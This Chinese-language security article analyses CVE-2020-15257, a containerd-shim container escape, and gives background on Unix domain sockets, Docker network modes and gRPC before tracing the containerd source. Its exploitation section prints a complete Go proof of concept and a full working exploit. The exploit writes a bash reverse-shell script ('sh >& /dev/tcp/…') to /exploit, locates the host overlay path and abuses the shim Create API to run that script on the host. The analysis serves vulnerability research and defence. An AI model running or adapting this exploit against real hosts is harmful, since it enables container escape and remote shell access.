Docker-CVE-2020-15257

阅读量264317

发布时间 : 2022-01-17 16:30:35

 

前置知识

unix域套接字

在Linux系统中存在着一种unix域套接字,其作用是为了进程间通信,其使用方法类似于普通的socket套接字,只不过使用socket函数的时候域设置为AF_UNIX,同时套接字的类型分为:流套接字(SOCK_STREAM)和数据报套接字(SOCK_DGRAM)。

socket创建文件描述符之后,需要用bind进行本地端口绑定,此时需要初始化一个sockaddr_un的结构体:

struct sockaddr_un {
sa_family sun_family;
char sun_path[180];
}

结构体的第二个字段就是文件路径,它也分为两种:

1. 普通的文件路径:它是一个合法的Linux文件路径,当不需要这个套接字的时候需要删除文件。

2. 抽象名字空间路径:以NULL开始可以以任何结尾,同时文件系统上面没有具体的文件和它相对应,在关闭的时候会自动消失。

docker网络模式

Docker run 运行容器的时候可以使用–network选定指定的网络模式。

1. none模式:这种模式下内部只有loopback回环网络,没有其他网卡,不能访问外网,是一种封闭的网络。

2. container模式:这种模式与其它的container共享网络。

3. Bridge模式:docker默认的网络模式,会为每一个容器分配一个网络命名空间,设置IP,保证容器内部的进程使用独立的网络环境,使得容器与容器之间,容器与宿主机之前存在网络隔离。

4. host模式:这种模式下,容器和宿主机是没用网络隔离的,他们共用一个网络命名空间,容器的配置和主机是完全一样的。

go中的gRPC服务

gRPC是google开源的一款高性能的RPC框架。其中主要包含四种请求/相应模式:

  1. 普通RPC
  2. 服务端流式RPC
  3. 客户端流式RPC
  4. 服务端/客户端双向流式RPC

对于RPC来说,其一般简历在HTTP协议或者TCP协议之上,作为一个框架,它使得开发者可以不用考虑网络协议,连接,等内容,只需要通过RPC去实现客户端和服务端。

如果使用gPRC,那么可以将服务定义在.proto文件中,然后用一种支持gRPC的语言(比如go)去实现客户端和服务端,这可以使客户端和服务端运行在不同的环境中,同时gRPC具备高效的序列化和反序列化,接口等。

本文中Containerd-shim的api就是通过gRPC的方式实现的。

Demo:

syntax = "proto3"; // 代表使用proto3的语法
package protos;

// The greeting service definition.
service Greeter { // 通过service关键字可以定义一个Greeter服务
// Sends a greeting
rpc SayHello (HelloRequest) returns (HelloReply) {} // 服务中定义的方法,该方法接受一个HelloRequest类型的消息,并返回一个HelloReply类型的消息。
}


// The request message containing the user's name.
message HelloRequest { // message关键字定义了一个HelloRequest类型的消息结构
string name = 1; // 这里的 = 1,1代表的是字段的编号,这个字段的编号是一个唯一的数字,作用是在二进制消息体中表示字段用。
}

// The response message containing the greetings
message HelloReply { // message关键字定义了一个HelloReply的消息结构是什么样的
string message = 1;
}

编译命令:

protoc --go_out=plugins=grpc:. helloworld.proto

编译器会根据.proto文件中定义的消息和服务生成对应的代码,接下来就可以编写服务端代码和客户端代码来实现具体的功能了。

 

漏洞分析

容器在host模式下与宿主机共用一套Network Namespace ,该条件下containerd-shim API暴露给了用户,对于containerd-shim的访问控制仅仅验证进程的UID是否为0,但是没有限制对抽象Unix域套接字的访问,因此当一个Root权限的容器开启了host网络模式就可能造成容器逃逸。

在docker 1.11版本中,单一的Docker Daemon拆分成为了4个独立的模块:Docker Daemon, containerd, containerd-shim, runC, containred是为了兼容OCI标准将Docker Daemon中容器运行时及其管理剥离了出来,形成了containerd,containerd向上提供接口和Docker Daemon交互,向下通过containerd-shim结合runC实现对容器的管理控制,不过containerd 提供了可用于和其进行交互的API和客户端应用程序ctr,所以即使没有Dcoker Daemon,也可以直接通过containerd来运行管理容器。

每次启动一个容器都会创建一个containerd-shim进程,它通过容器id, bundle目录,运行时二进制文件路径来调用运行时的API创建和运行容器,该进程会一直存在到容器实例进程退出为止,最后将容器的退出状态返回给containerd。

对于该CVE来说,因为containerd-shim的api接口是unix域套接字实现的,在使用过程中containerd 传递Unix 域套接字描述符给containerd-shim,containerd-shim在启动之后,会基于父进程传递的unix域套接字文件描述符建立gRPC服务,对外暴露一些API用于container,task的控制。但是在这个过程中暴露了一些可以被利用到的api。

containerd创建的unix域套接字如下,首先生成一个地址,在newSocket中以抽象地址的方式建立套接字:

func (b *bundle) shimAddress(namespace string) string {
d := sha256.Sum256([]byte(filepath.Join(namespace, b.id)))
return filepath.Join(string(filepath.Separator), "containerd-shim", fmt.Sprintf("%x.sock", d))
}


func newSocket(address string) (*net.UnixListener, error) {
if len(address) > 106 {
return nil, errors.Errorf("%q: unix socket path too long (> 106)", address)
}
l, err := net.Listen("unix", "\x00"+address)
if err != nil {
return nil, errors.Wrapf(err, "failed to listen to abstract unix socket %q", address)
}

return l.(*net.UnixListener), nil
}

此时container-shim作为Server向外提供的服务如下:

// Shim service is launched for each container and is responsible for owning the IO
// for the container and its additional processes. The shim is also the parent of
// each container and allows reattaching to the IO and receiving the exit status
// for the container processes.
service Shim {
// State returns shim and task state information.
rpc State(StateRequest) returns (StateResponse);
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
rpc Start(StartRequest) returns (StartResponse);
rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);
rpc ListPids(ListPidsRequest) returns (ListPidsResponse);
rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
rpc Kill(KillRequest) returns (google.protobuf.Empty);
rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);
rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);
// ShimInfo returns information about the shim.
rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);
rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);
rpc Wait(WaitRequest) returns (WaitResponse);
}

container作为client可以调用container-shim提供的api进而实现对容器的管理。漏洞就出现在对于unix域套接字的访问控制上面,因为unix域套接字本身是没有权限规则的,因此容器就利用进程的UID,GID做访问控制,限定EUID==0 && EGID==0 才可以进行访问。

// UnixSocketRequireSameUser resolves the current effective unix user and returns a
// UnixCredentialsFunc that will validate incoming unix connections against the
// current credentials.
//
// This is useful when using abstract sockets that are accessible by all users.
func UnixSocketRequireSameUser() UnixCredentialsFunc {
euid, egid := os.Geteuid(), os.Getegid()
return UnixSocketRequireUidGid(euid, egid)
}

docker默认的bridge模式因为网络隔离的原因,容器内部无法通过/proc/net/unix看到宿主机上面的套接字的,但是如果是使用host模式,那么容器和主机共用一个网路命名空间,那么/proc/net/unix中就会看到宿主机的套接字信息,大致说一下容器中套接字的相关作用:

1. /var/run/docker.sock : Docker Daemon监听的域套接字,用于docker client之间的通信。

2. /run/containerd/container.sock : containerd 监听的unix域套接字,docker daemon和ctr可以通过它和containerd进行通信。

3. @/containerd-shim/***(sha256).sock:这就是containerd-shim监听的unix域套接字,containerd通过它和containerd-shim进行通信,控制管理器内容。

前两个套接字虽然因为host模式下共享网络命名空间可以看到,但是因为容器和宿主机之前的文件系统存在着隔离,因此是在容器内是无法对着两个文件进行访问的,但是因为第三种是抽象名字空间路径,只依靠网络命名空间进行隔离,所以容器可以进行访问,同时因为容器内本身就是root权限,所以对于EUID和GUID的检测形同虚设,那么容器内就可以通过连接containerd-shim提供的unix域套接字调用其提供的一系列API进而实现容器逃逸。

 

漏洞利用

首先要找出containerd自身的containerd-shim是怎么使用的,看源码可知:

// WithConnect connects to an existing shim
func WithConnect(address string, onClose func()) Opt {
return func(ctx context.Context, config shim.Config) (shimapi.ShimService, io.Closer, error) {
conn, err := connect(address, annonDialer)
if err != nil {
return nil, nil, err
}
client := ttrpc.NewClient(conn, ttrpc.WithOnClose(onClose))
return shimapi.NewShimClient(client), conn, nil
}
}

可以看到containerd使用ttrpc构建client,其中conn是unix域套接字,向上回溯发现是WithStart函数对其进行调用:

func WithStart(binary, address, daemonAddress, cgroup string, debug bool, exitHandler func()) Opt {
return func(ctx context.Context, config shim.Config) (_ shimapi.ShimService, _ io.Closer, err error) {
socket, err := newSocket(address)
if err != nil {
if !eaddrinuse(err) {
return nil, nil, err
}
if err := RemoveSocket(address); err != nil {
return nil, nil, errors.Wrap(err, "remove already used socket")
}
if socket, err = newSocket(address); err != nil {
return nil, nil, err
.....................

该函数返回一个client,然后再向上回溯发现是ShimRemote函数进行了调用:

// ShimRemote is a ShimOpt for connecting and starting a remote shim
func ShimRemote(c *Config, daemonAddress, cgroup string, exitHandler func()) ShimOpt {
return func(b *bundle, ns string, ropts *runctypes.RuncOptions) (shim.Config, client.Opt) {
config := b.shimConfig(ns, c, ropts)
return config,
client.WithStart(c.Shim, b.shimAddress(ns, daemonAddress), daemonAddress, cgroup, c.ShimDebug, exitHandler)
}
}

再次向上回溯发现是Create函数进行了调用:

func (r *Runtime) Create(ctx context.Context, id string, opts runtime.CreateOpts) (_ runtime.Task, err error) {
namespace, err := namespaces.NamespaceRequired(ctx)
if err != nil {
return nil, err
}

if err := identifiers.Validate(id); err != nil {
return nil, errors.Wrapf(err, "invalid task id")
}

ropts, err := r.getRuncOptions(ctx, id)
if err != nil {
return nil, err
}

bundle, err := newBundle(id,
filepath.Join(r.state, namespace),
filepath.Join(r.root, namespace),
opts.Spec.Value)
if err != nil {
return nil, err
}
defer func() {
if err != nil {
bundle.Delete()
}
}()
......................

到此,我们知道了containerd是如何使用containerd-shim的,因此我们可以在容器内与containerd-shim建立通信实现利用:

POC

package main

import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"

"github.com/containerd/ttrpc"
"github.com/gogo/protobuf/types"
)

func exp(sock string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}

client := ttrpc.NewClient(conn)
shimClient := NewShimClient(client)
ctx := context.Background()
info, err := shimClient.ShimInfo(ctx, &types.Empty{})
if err != nil {
log.Println("rpc error:", err)
return false
}

log.Println("shim pid:", info.ShimPid)
return true
}

func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}

func main() {
matchset := make(map[string]bool)
socks, err := getShimSockets()
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname) {
break
}
}

return
}

1. 首先在/proc/net/unix 里面匹配到目标套接字。

2. 利用之前在Docker源码中找到的使用containerd-shim的方式建立client。

3. 调用API成功。

EXP

package main
import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"

types1 "github.com/containerd/containerd/api/types"
"github.com/containerd/ttrpc"
)
func exp(sock string, containerid string, hostPath string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}
client := ttrpc.NewClient(conn)
shimClient := NewShimClient(client)
ctx := context.Background()
info, err := shimClient.State(ctx, &StateRequest{
ID: containerid,
})
if err != nil {
log.Println("rpc error:", err)
return false
}

//log.Println("current container info:", info)
mounts := make([]*types1.Mount, 0)
mounts = append(mounts, &types1.Mount{
Type: "bind",
Source: "/mnt",
})
log.Println("exploit path on host:", hostPath+"/exploit")
newTask, err := shimClient.Create(ctx, &CreateTaskRequest{
ID: "hdsfjashdfjhaskjdfhkj",
Bundle: info.Bundle,
Runtime: hostPath + "/exploit",
Terminal: false,
})

if err != nil {
log.Println("rpc error:", err)
return false
}

log.Println("new task info:", newTask)
return true
}

func getContainerID() (string, error) {
data, err := ioutil.ReadFile("/proc/self/cgroup")
if err != nil {
return "", err
}
cgroupData := string(data)
lines := strings.Split(cgroupData, "\n")
cgmatch, err := regexp.Compile(".*:pids:/docker/(.*)")
containerid := ""
for _, l := range lines {
match := cgmatch.FindStringSubmatch(l)
if len(match) == 0 {
continue
}
containerid = match[1]
}
if containerid == "" {
return "", errors.New("Container id not found")
}
return containerid, nil
}
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("cannot find vulnerable socket")
}
return matches, nil
}
func getHostPath() (string, error) {
re, err := regexp.Compile("overlay.*,workdir=(.*/)work")
if err != nil {
return "", err
}
data, err := ioutil.ReadFile("/proc/mounts")
matches := re.FindSubmatch(data)
if matches == nil {
return "", errors.New("cannot find Host Path")
}
return string(matches[1]) + "merged", nil
}
func main() {

err := ioutil.WriteFile("/exploit", []byte("#!/bin/bash\nsetsid bash -c 'sh >& /dev/tcp/127.0.0.1/8080 0>&1' &\n"), 0777)
if err != nil {
log.Fatalln(err)
}
containerid, err := getContainerID()
log.Println("the container id is: " + containerid)
if err != nil {
log.Fatalln(err)
}
log.Println("Current container id:", containerid)

matchset := make(map[string]bool)
socks, err := getShimSockets()
if err != nil {
log.Fatalln(err)
}
hostPath, err := getHostPath()
if err != nil {
log.Fatalln(err)
}
log.Println("Host path:", hostPath)
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname, containerid, hostPath) {
break
}
}
return
}

1. 首先在容器的根目录下创建一个shell文件。

2. 在/proc/self/cgroup中进行正则匹配获得ContainerID。

3. 通过/proc/mount 可以获得hostpath,通过这个路径我们可以在宿主机上面访问到容器中的文件,这样可以利用Containerd-shim启动一个host主机上面的进程。

4. 利用containerd-shim的Create的API实现反弹shell,成功实现逃逸。

 

参考链接

https://bestwing.me/CVE-2020-15257-anaylysis.html

https://github.com/summershrimp/exploits-open/blob/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257/main.go

https://win-man.github.io/2020/03/29/049-go-grpc/

本文由星阑科技原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/265698

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
星阑科技
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66